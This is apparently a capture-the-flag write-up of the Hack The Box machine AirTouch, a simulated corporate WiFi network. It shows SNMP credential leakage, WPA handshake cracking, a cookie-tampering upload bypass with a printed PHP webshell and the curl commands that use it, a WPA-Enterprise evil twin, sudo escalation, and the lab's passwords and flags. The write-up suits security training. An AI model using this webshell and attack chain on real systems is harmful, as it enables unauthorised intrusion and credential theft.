AirTouch — HTB Writeup#

Machine Summary#

Overview#

AirTouch was a WiFi-focused machine that simulated a corporate wireless environment using Docker containers and the mac80211_hwsim kernel module. The attack path involved pivoting across three network segments (Consultant, Tablets/PSK, and Corporate/MGT VLANs) by exploiting WiFi protocols and misconfigurations. Initial access came through SNMP credential leakage, followed by WPA PSK cracking, a web application file upload vulnerability, and finally a WPA-Enterprise evil twin attack to reach the management container where the root flag resided.

Reconnaissance#

Port Scanning#

A full TCP scan revealed only SSH:

nmap -sS -T4 --min-rate=1000 -p- 10.129.244.98PORT   STATE SERVICE22/tcp open  ssh

Version detection showed OpenSSH 8.2p1 Ubuntu:

nmap -sV -sC -p 22 10.129.244.9822/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11

A UDP scan found SNMP:

nmap -sU --top-ports 100 -T4 10.129.244.98161/udp open snmp

SNMP Enumeration#

SNMP with the default community string public leaked SSH credentials in the sysDescr field:

snmpwalk -v2c -c public 10.129.244.98...consultant:RxBlZhLmOkacNWScmZ6D...

This provided SSH access to the AirTouch-Consultant container.

Enumeration#

AirTouch-Consultant Container#

After SSHing in as consultant, the container had multiple WiFi interfaces (wlan0-wlan6) provided by the mac80211_hwsim module. A WiFi scan revealed seven networks:

The machine had three VLANs:

• Consultant (172.20.1.0/24) — entry point
• Tablets/PSK (192.168.3.0/24) — behind AirTouch-Internet WiFi
• Corporate/MGT (10.10.10.0/24) — behind AirTouch-Office WiFi

Exploitation — User Flag#

Step 1: WPA PSK Cracking (AirTouch-Internet)#

A WPA handshake was captured from AirTouch-Internet using airodump-ng in monitor mode, then cracked:

aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.capKEY FOUND! [ challenge ]

Connected to AirTouch-Internet and assigned a static IP in the 192.168.3.0/24 range.

Step 2: PSK Router Web Application#

The PSK router at 192.168.3.1 ran Apache with a login page. Inspecting /var/www/html/login.php source (later confirmed via webshell) revealed hardcoded credentials:

Step 3: File Upload with Cookie Manipulation#

Logging in as manager returned a UserRole=user cookie. The admin dashboard (with file upload) was only accessible to users with UserRole=admin. By modifying the cookie to UserRole=admin, the file upload became accessible.

The upload blocked .php files but allowed .phtml. A PHP webshell was uploaded:

<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>

curl -s -b "PHPSESSID=...; UserRole=admin" \  -F "fileToUpload=@shell.phtml" -F "submit=Upload File" \  http://192.168.3.1/index.phpcurl -s "http://192.168.3.1/uploads/shell.phtml?cmd=id"# uid=33(www-data)

Step 4: Privilege Escalation on PSK Router#

The user account had (ALL) NOPASSWD: ALL sudo access. Using the webshell with su and sudo:

echo JunDRDZKHDnpkpDDvay | su -c "sudo cat /root/user.txt" user

User Flag: c18bcefbffbe645b07ccffa1207902ec

Step 5: Extracting Server Certificates#

The PSK router’s /root/certs-backup/ contained the WPA-Enterprise server certificates (ca.crt, server.crt, server.key). These were extracted via the webshell and saved to the consultant container. The /root/send_certs.sh script also revealed credentials for the MGT container:

# send_certs.shsshpass -p 'xGgWEwqUpfoOVsLeROeG' scp ... remote@10.10.10.1:...

Privilege Escalation — Root Flag#

Step 6: WPA-Enterprise Connection (AirTouch-Office)#

Connecting to AirTouch-Office required PEAP/MSCHAPv2 credentials. From a prior evil twin attack (using eaphammer with the extracted server certificates), MSCHAPv2 hashes for AirTouch\r4ulcl were captured and cracked to laboratory.

The critical challenge was that the WPA-Enterprise connection was extremely unstable (WiFi dropped within seconds). Additionally, the wpa_supplicant EAP implementation had an EAP ID mismatch issue (EAP-Success Id mismatch - reqId=154 lastId=151), causing authentication to be discarded even when the RADIUS server accepted the credentials.

The fix was adding eap_workaround=1 to the wpa_supplicant network block:

network={    ssid="AirTouch-Office"    scan_ssid=1    key_mgmt=WPA-EAP    eap=PEAP    identity="AirTouch\\r4ulcl"    password="laboratory"    phase1="peaplabel=0"    phase2="auth=MSCHAPV2"    eap_workaround=1}

Step 7: SSH to AirTouch-AP-MGT#

Due to WiFi instability, an SSH key was installed on the MGT container during one of the brief connection windows:

# On consultant, generate keyssh-keygen -t ed25519 -f /tmp/mgtkey -N "" -q# During WiFi window, copy key to MGTssh remote@10.10.10.1 "mkdir -p ~/.ssh; echo '...' >> ~/.ssh/authorized_keys"

This allowed key-based SSH (faster than password auth) during subsequent connection windows.

Step 8: Credential Discovery in hostapd-wpe Configuration#

Enumeration of the MGT container revealed readable hostapd-wpe log and configuration files:

/etc/hostapd/hostapd_wpe.eap_user/var/log/hostapd_wpe.log (368KB)

The EAP user file contained all configured identities and passwords in plaintext:

"AirTouch\r4ulcl"  PEAP  "laboratory""admin"            PEAP  "xMJpzXt4D9ouMuL3JJsMriF7KZozm7"

Step 9: Privilege Escalation via admin Account#

The admin user had full sudo access on the MGT container:

echo xMJpzXt4D9ouMuL3JJsMriF7KZozm7 | su -c "sudo cat /root/root.txt" adminfc5ecdb9d2de62c85d99cf614dcda4d5

Root Flag: fc5ecdb9d2de62c85d99cf614dcda4d5

Obstacles & Lessons Learned#

WiFi Instability#

The most significant challenge was the extreme instability of WiFi connections within the simulated environment. AirTouch-Office connections lasted only seconds before dropping. This required:

• Installing SSH keys during brief connection windows to avoid slow password-based auth
• Running background scripts that looped continuously, reconnecting WiFi and executing commands whenever a window opened
• Keeping SSH commands as minimal as possible to complete before disconnection

EAP ID Mismatch#

The wpa_supplicant EAP implementation rejected valid EAP-Success messages due to ID sequence mismatches (likely caused by the simulated WiFi environment). The eap_workaround=1 config option was essential to work around this quirk.

Interface State Management#

After using interfaces for hostapd (evil twin), monitor mode, or multiple wpa_supplicant connections, WiFi interfaces entered bad states. Creating new virtual interfaces via iw phy phyN interface add was necessary to get clean interfaces.

DHCP Issues#

dhclient frequently hung or assigned IPs from the wrong VLAN. Using static IP assignment (ip addr add 10.10.10.99/24 dev wlan_new) was more reliable than DHCP.

Tools Used#